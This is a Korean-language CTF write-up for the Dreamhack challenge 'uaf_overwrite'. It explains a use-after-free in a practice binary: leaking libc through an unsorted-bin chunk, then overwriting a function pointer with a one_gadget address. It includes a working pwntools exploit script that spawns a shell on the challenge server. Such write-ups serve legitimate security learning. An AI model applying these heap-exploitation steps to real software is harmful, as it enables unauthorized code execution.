취약점분석/Pwnable

[Pwnable] uaf_overwrite write-up

poiri3r 2025. 10. 28. 17:06

오늘은 드림핵에서 Use After Free에서 실습하는 문제인 uaf overwrite write-up을 작성하면서 문제를 풀어보겠습니다.

 

https://dreamhack.io/wargame/challenges/357

 

uaf_overwrite

DescriptionExploit Tech: Use After Free에서 실습하는 문제입니다. Challenge Updates2023.04.27: Dockerfile이 제공됩니다.

dreamhack.io

문제는 위의 링크에서 다운로드 받을 수 있습니다.

 

 

checksec을 사용해서 보호기법을 확인해주었습니다.

카나리,NX,PIE,RELRO 등 보호 기법이 전부 켜져있음을 확인할 수 있습니다.

문제 파일은 다음과 같이 5개가 주어지고, libc-2.276버전이라 원가젯을 사용하는 방향도 생각을 해봐야됩니다.

 

C언어로 작성된 문제 코드를 확인해보겠습니다.

코드가 좀 길어서 중요한 부분만 확인해보겠습니다.

Human이랑 Robot구조체가 있고, 둘이 구조체 크기가 같습니다.

long과 void같은 경우 32비트에선 4비트 64비트에선 8바이트의 크기입니다.

 

로봇 구조체에서 이름을 출력하는 print_name()입니다.

human_func에는 Human구조체의 weight랑 age에 사용자 입력을 넣을 수 있습니다.

로봇 구조체에 관한 정보를 입력하는 robot_func가 있는데, 여기서 if문에서 fptr에 이미 어떤 함수가 저장되어 있다면, 그 주소에 있는 함수를 호출하고 아닐경우 print_name의 주소를 포인터 값으로 설정합니다.

이 지점에서 취약점이 발생하는데 fptr에 원하는 주소를 넣을 수 있다면 실행 흐름을 조작할 수 있습니다.

 

custom_func 함수입니다.
0x100이상의 크기를 갖는 청크를 할당하고 해제 가능하고, 메모리 영역을 초기화하지 않아 UAF가 발생할 수 있습니다.

 

목표로 삼아야 할 과제가 두가지 있는 것 같습니다.

1. custom_func에서 라이브러리 릭을 활용해서 libc가 매핑된 주소를 확인해야 합니다.

2. robot_func와 human_func에서 UAF를 활용한 함수 포인터를 덮어써서 원가젯을 실행시켜야 합니다.

 

먼저 라이브러리 릭을 시도해보겠습니다.

여기서 동적할당에 관한 개념이 좀 중요한데, 저번에 포스팅했던걸 토대로 최대한 쉽게 적어보겠습니다.

저희가 저번에 bin과 tcache에 대해 포스팅을 했었습니다.

사진 출처: https://www.stormshield.com/news/the-macabre-dance-of-memory-chunks/

그 중에서 unsorted bin은 원형 이중 연결 리스트의 형태이고, unsorted bin에 처음 연결되는 청크는 fd와 bk의 값으로 libc의 특정 주소를 가지게 된다고 합니다. 이때 fd와 bk의 값을 읽으면 libc의 특정 주소를 구할 수 있어서 libc의 베이스 주소를 구할 수 있습니다.

 

unsorted bin은 청크가 해제되고 임시로 저장되는 대기실이므로 custom_func로 청크를 할당한 뒤 해제해서 unsorted bin에 들어가게 해야합니다.

여기서 두가지 조건이 있습니다.

1.동적 할당 시 tcache로 할당되지 않도록 1040바이트 이상의 청크를 할당해야 합니다. (tcache는 32~1040바이트)

2.탑 청크와 병합되지 않도록 해야합니다.

 

여기서 2번을 만족하기 위해서 저희는 청크를 1040바이트 이상의 크기로 2개 할당한 뒤 (custom[0],custom[1]) custom[0]을 free하면서 메모리 릭을 유도해야 합니다.

gdb를 통해 확인해보겠습니다.

 

다음과 같이 1280크기 사이즈의 청크를 두개 할당한 뒤 heap 명령어를 통해 할당된 청크를 확인해보겠습니다.

fd와 bk에 둘 다 0x7ffff7fa5b20 값이 들어있습니다.

이제 vmmap으로 libc의 주소를 확인한 뒤 비교해보겠습니다.

확인해보면 fk와 bk의 주소인 0x7ffff7fa5b20에 libc.so.6 데이터 주소가 있는것을 확인할 수 있습니다.

해당 주소에서 libc가 매핑된 주소인 0x7ffff7da2000을 빼면 libc가 매핑된 베이스 주소를 구할 수 있습니다.

 

libc가 매핑된 주소를 구했으니 첫번째 과제는 달성했고, 이제 함수 포인터를 덮어써보겠습니다.

처음에 확인했던 코드에서 Human의 age에 해당하는 부분은 Robot의 *fptr에 해당하는 부분입니다.

따라서 처음 Human 구조체가 할당된 뒤 Robot 구조체가 할당되면 age의 영역에 있던 값이 fptr에 들어가므로 age에 원가젯의 오프셋을 계산해서 넣어 준 뒤 robot_func를 호출하면 됩니다.

 

이제 익스플로잇을 작성해주겠습니다.

from pwn import*
p = remote("host8.dreamhack.games", 23570)

def slog(sym, val): success(sym + ': '+ hex(val))

#각각의 조건문에 따른 입력 함수
def custom(size, data, idx):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': ', data)
    p.sendlineafter(b': ', str(idx).encode())

def human(weight, age):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b': ',str(weight).encode())
    p.sendlineafter(b': ',str(age).encode())

def robot(weight):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b': ', str(weight).encode())

#라이브러리 릭
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', 0)
custom(0x500, b'B', -1)

lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
og = lb+0x10a41c
slog('libc_base',lb)
slog('one_gadget', og)

#UAF
human(1,og)
robot(1)

p.interactive()

 

일단 제가 로컬로 돌렸을 때 도커파일을 구축안하고 했더니 libc가 2.27버전으로 안들어가서 라이브러리 주소랑 가젯 오프셋 차이가 있어서 안돌아가서, 드림핵에서 제공하는 페이로드를 참고해서 돌렸습니다.

 

각각의 조건문에 따른 입력을 def로 정의해서 custom,human,robot을 만들고 각각의 입력을 만들어주었습니다.

원가젯 주소같은 경우는 저번에 했던 것 처럼 one_gadget ./libc-2.27.so로 출력 가능하고 4번째에 있는 0x10a41c를  사용했습니다.

 

lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42

 

라이브러리의 베이스 주소를 구하는 코드인데 0x3ebc42는 libc의 시작 주소부터 저희가 구해넨 main_arena까지의 오프셋입니다.

이 오프셋 값은 여태까지 다른 문제를 풀 때 got나 plt에서 썼던 것 처럼 libc버전에 따라 고유하게 정해져있습니다.

그래서 마지막

custom(0x500, b'B', -1)

에서 B를 send했을때 받아지는 값을 통해 라이브러리 베이스를 구할 수 있습니다.

 

libc 베이스 주소와 one gadget 주소를 구하면 나머지는 엄청 수월하게 진행 가능합니다.

human의 age에 원 가젯의 주소를 넣은 뒤 robot_func를 통해 원 가젯을 실행만 시켜주면 됩니다.

 

코드 실행시 정상적으로 쉘을 획득할 수 있습니다.

 

이상으로 uaf_overwrite의 write-up을 마치겠습니다.

읽어주셔서 감사합니다~